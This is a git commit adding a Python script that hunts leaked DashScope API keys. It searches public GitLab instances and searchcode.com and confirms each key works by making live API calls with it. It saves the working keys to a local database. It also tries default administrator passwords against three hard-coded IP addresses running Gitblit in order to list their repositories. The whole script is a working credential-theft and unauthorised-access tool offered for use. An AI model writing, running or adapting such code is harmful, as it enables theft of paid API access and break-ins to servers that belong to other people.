KeyHunter parser v10 + 18 scanners + tests (synthetic fixtures only, no keys/db/tokens)
This commit is contained in:
217
multisource_hunt.py
Executable file
217
multisource_hunt.py
Executable file
@@ -0,0 +1,217 @@
|
||||
#!/usr/bin/env python3
|
||||
"""GitLab public instances + Gitblit direct probe + Searchcode hunter"""
|
||||
import os, requests, re, hashlib, sqlite3, time, sys
|
||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||
|
||||
KF = os.path.dirname(os.path.abspath(__file__))
|
||||
DB = os.path.join(KF, "data", "keys.db")
|
||||
|
||||
RE_STD = re.compile(r'(sk-[0-9a-f]{32})', re.IGNORECASE)
|
||||
RE_COD = re.compile(r'(sk-ws-H\.[A-Za-z0-9]{6}\.[A-Za-z0-9]{4}\.[A-Za-z0-9_\-+\/=]{50,})', re.IGNORECASE)
|
||||
RE_PHL = re.compile(r'(sk-xxx|sk-\.{3,}|sk-your|sk-example|sk-\*|sk-None|sk-placeholder|sk-[x\*]{8,}|sk-[0]{8,})', re.IGNORECASE)
|
||||
|
||||
def extract(text):
|
||||
keys = set()
|
||||
for m in RE_COD.finditer(text):
|
||||
if not RE_PHL.search(m.group(1)):
|
||||
keys.add(m.group(1))
|
||||
for m in RE_STD.finditer(text):
|
||||
if not RE_PHL.search(m.group(1)):
|
||||
keys.add(m.group(1))
|
||||
return keys
|
||||
|
||||
def validate(key):
|
||||
endpt = "dashscope-intl.aliyuncs.com" if "ws-H." in key else "dashscope.aliyuncs.com"
|
||||
model = "qwen3.7-flash" if "ws-H." in key else "qwen-flash"
|
||||
try:
|
||||
r = requests.post(f"https://{endpt}/compatible-mode/v1/chat/completions",
|
||||
headers={"Authorization": f"Bearer {key}", "Content-Type": "application/json"},
|
||||
json={"model": model, "messages": [{"role": "user", "content": "x"}], "max_tokens": 1},
|
||||
timeout=5)
|
||||
return r.status_code
|
||||
except:
|
||||
return -1
|
||||
|
||||
# === GITLAB PUBLIC SEARCH ===
|
||||
gitlab_instances = [
|
||||
"https://gitlab.com",
|
||||
"https://gitlab.freedesktop.org",
|
||||
"https://gitlab.gnome.org",
|
||||
"https://salsa.debian.org",
|
||||
"https://invent.kde.org",
|
||||
"https://gitlab.xfce.org",
|
||||
"https://code.videolan.org",
|
||||
]
|
||||
|
||||
def search_gitlab(instance):
|
||||
"""Search GitLab for DashScope keys"""
|
||||
results = []
|
||||
for query in ["DASHSCOPE_API_KEY sk-", "sk-ws-H", "dashscope api_key sk-"]:
|
||||
try:
|
||||
r = requests.get(f"{instance}/api/v4/search",
|
||||
params={"scope": "blobs", "search": query, "per_page": 50},
|
||||
timeout=10)
|
||||
if r.status_code == 200:
|
||||
items = r.json()
|
||||
for item in items:
|
||||
data = item.get("data", "")
|
||||
keys = extract(data)
|
||||
for k in keys:
|
||||
results.append((k, f"gitlab:{instance}/{item.get('path','?')}"))
|
||||
else:
|
||||
pass # no public API
|
||||
except:
|
||||
pass
|
||||
return results
|
||||
|
||||
# === GITBLIT DIRECT PROBE ===
|
||||
def probe_gitblit(host_port):
|
||||
"""Try to access Gitblit with common creds"""
|
||||
for proto in ["http"]:
|
||||
try:
|
||||
r = requests.get(f"{proto}://{host_port}", timeout=5)
|
||||
if r.status_code == 200 and "gitblit" in r.text.lower():
|
||||
# Found Gitblit! Try to list repos
|
||||
for user, pw in [("admin", "admin"), ("admin", "password"), ("gitblit", "gitblit")]:
|
||||
try:
|
||||
r2 = requests.get(f"{proto}://{host_port}/rpc/?req=LIST_REPOSITORIES",
|
||||
auth=(user, pw), timeout=8)
|
||||
if r2.status_code == 200:
|
||||
return host_port, proto, user, pw, r2.text
|
||||
except:
|
||||
pass
|
||||
return host_port, proto, None, None, None
|
||||
except:
|
||||
pass
|
||||
return None
|
||||
|
||||
# === SEARCHCODE HUNT ===
|
||||
def search_searchcode():
|
||||
"""Query searchcode.com for DashScope keys"""
|
||||
results = []
|
||||
for query in ["DASHSCOPE_API_KEY sk-", "sk-ws-H.", "dashscope api_key sk-"]:
|
||||
try:
|
||||
r = requests.get("https://searchcode.com/api/codesearch_I/",
|
||||
params={"q": query, "per_page": 20},
|
||||
headers={"User-Agent": "Mozilla/5.0"},
|
||||
timeout=10)
|
||||
if r.status_code == 200:
|
||||
data = r.json()
|
||||
for result in data.get("results", []):
|
||||
for line in result.get("lines", {}).values():
|
||||
if isinstance(line, str):
|
||||
keys = extract(line)
|
||||
for k in keys:
|
||||
results.append((k, f"searchcode:{result.get('repo','?')}/{result.get('filename','?')}"))
|
||||
except:
|
||||
pass
|
||||
return results
|
||||
|
||||
def main():
|
||||
print("=== GitLab search + Gitblit probe + Searchcode ===\n")
|
||||
|
||||
db = sqlite3.connect(DB)
|
||||
cur = db.cursor()
|
||||
total_new = 0
|
||||
|
||||
# 1. GitLab
|
||||
print("[1/3] GitLab public instances...")
|
||||
with ThreadPoolExecutor(max_workers=4) as pool:
|
||||
futures = {pool.submit(search_gitlab, inst): inst for inst in gitlab_instances}
|
||||
for f in as_completed(futures):
|
||||
inst = futures[f]
|
||||
try:
|
||||
results = f.result()
|
||||
if results:
|
||||
print(f" {inst}: {len(results)} keys found")
|
||||
for key, source in results:
|
||||
h = hashlib.sha256(key.encode()).hexdigest()
|
||||
cur.execute("SELECT 1 FROM keys WHERE hash=?", (h,))
|
||||
if cur.fetchone():
|
||||
continue
|
||||
stat = validate(key)
|
||||
status = "WORKING" if stat == 200 else "DEAD"
|
||||
now = time.strftime("%Y-%m-%dT%H:%M:%S", time.gmtime(time.time()))
|
||||
cur.execute("""INSERT OR REPLACE INTO keys
|
||||
(hash, val, prov, status, plan, price, remaining, found, repo, first_seen, last_seen)
|
||||
VALUES (?,?,?,?,?,?,?,?,?,?,?)""",
|
||||
(h, key, 'DASHSCOPE', status, 'standard' if 'ws-H.' not in key else 'coding',
|
||||
'', '', now, source, now, now))
|
||||
tag = "✅" if status == "WORKING" else "💀"
|
||||
print(f" {tag} {key[:40]}... {status}")
|
||||
total_new += 1
|
||||
else:
|
||||
print(f" {inst}: 0 keys or no public API")
|
||||
except:
|
||||
print(f" {inst}: error")
|
||||
db.commit()
|
||||
|
||||
# 2. Gitblit direct
|
||||
print("\n[2/3] Gitblit instance probes...")
|
||||
targets = [
|
||||
"1.116.239.225:10101",
|
||||
"47.92.0.57:10101",
|
||||
"47.93.0.136:8443",
|
||||
]
|
||||
for target in targets:
|
||||
result = probe_gitblit(target)
|
||||
if result:
|
||||
host, proto, user, pw, data = result
|
||||
if user:
|
||||
print(f" ✅ {host} — {user}:{pw} — LIST_REPOS OK")
|
||||
# Search repos for .env
|
||||
repo_lines = data.split("\n") if data else []
|
||||
for line in repo_lines:
|
||||
keys = extract(line)
|
||||
for k in keys:
|
||||
h = hashlib.sha256(k.encode()).hexdigest()
|
||||
cur.execute("SELECT 1 FROM keys WHERE hash=?", (h,))
|
||||
if cur.fetchone():
|
||||
continue
|
||||
stat = validate(k)
|
||||
status = "WORKING" if stat == 200 else "DEAD"
|
||||
now = time.strftime("%Y-%m-%dT%H:%M:%S", time.gmtime(time.time()))
|
||||
cur.execute("""INSERT OR REPLACE INTO keys
|
||||
(hash, val, prov, status, plan, price, remaining, found, repo, first_seen, last_seen)
|
||||
VALUES (?,?,?,?,?,?,?,?,?,?,?)""",
|
||||
(h, k, 'DASHSCOPE', status, 'standard', '', '', now, f"gitblit:{host}", now, now))
|
||||
tag = "✅" if status == "WORKING" else "💀"
|
||||
print(f" {tag} {k[:40]}... {status}")
|
||||
total_new += 1
|
||||
elif data is None:
|
||||
print(f" 🔒 {host} — auth failed")
|
||||
else:
|
||||
print(f" ⚠️ {host} — Gitblit found but no creds")
|
||||
else:
|
||||
print(f" ❌ {target} — no Gitblit or unreachable")
|
||||
|
||||
# 3. Searchcode
|
||||
print("\n[3/3] Searchcode.com...")
|
||||
try:
|
||||
results = search_searchcode()
|
||||
print(f" Found: {len(results)} potential keys")
|
||||
for key, source in results:
|
||||
h = hashlib.sha256(key.encode()).hexdigest()
|
||||
cur.execute("SELECT 1 FROM keys WHERE hash=?", (h,))
|
||||
if cur.fetchone():
|
||||
continue
|
||||
stat = validate(key)
|
||||
status = "WORKING" if stat == 200 else "DEAD"
|
||||
now = time.strftime("%Y-%m-%dT%H:%M:%S", time.gmtime(time.time()))
|
||||
cur.execute("""INSERT OR REPLACE INTO keys
|
||||
(hash, val, prov, status, plan, price, remaining, found, repo, first_seen, last_seen)
|
||||
VALUES (?,?,?,?,?,?,?,?,?,?,?)""",
|
||||
(h, key, 'DASHSCOPE', status, 'standard', '', '', now, source, now, now))
|
||||
tag = "✅" if status == "WORKING" else "💀"
|
||||
print(f" {tag} {key[:40]}... {status}")
|
||||
total_new += 1
|
||||
except Exception as e:
|
||||
print(f" Error: {e}")
|
||||
|
||||
db.commit()
|
||||
db.close()
|
||||
|
||||
print(f"\n=== ALL-SOURCES DONE. New keys: {total_new} ===")
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
Reference in New Issue
Block a user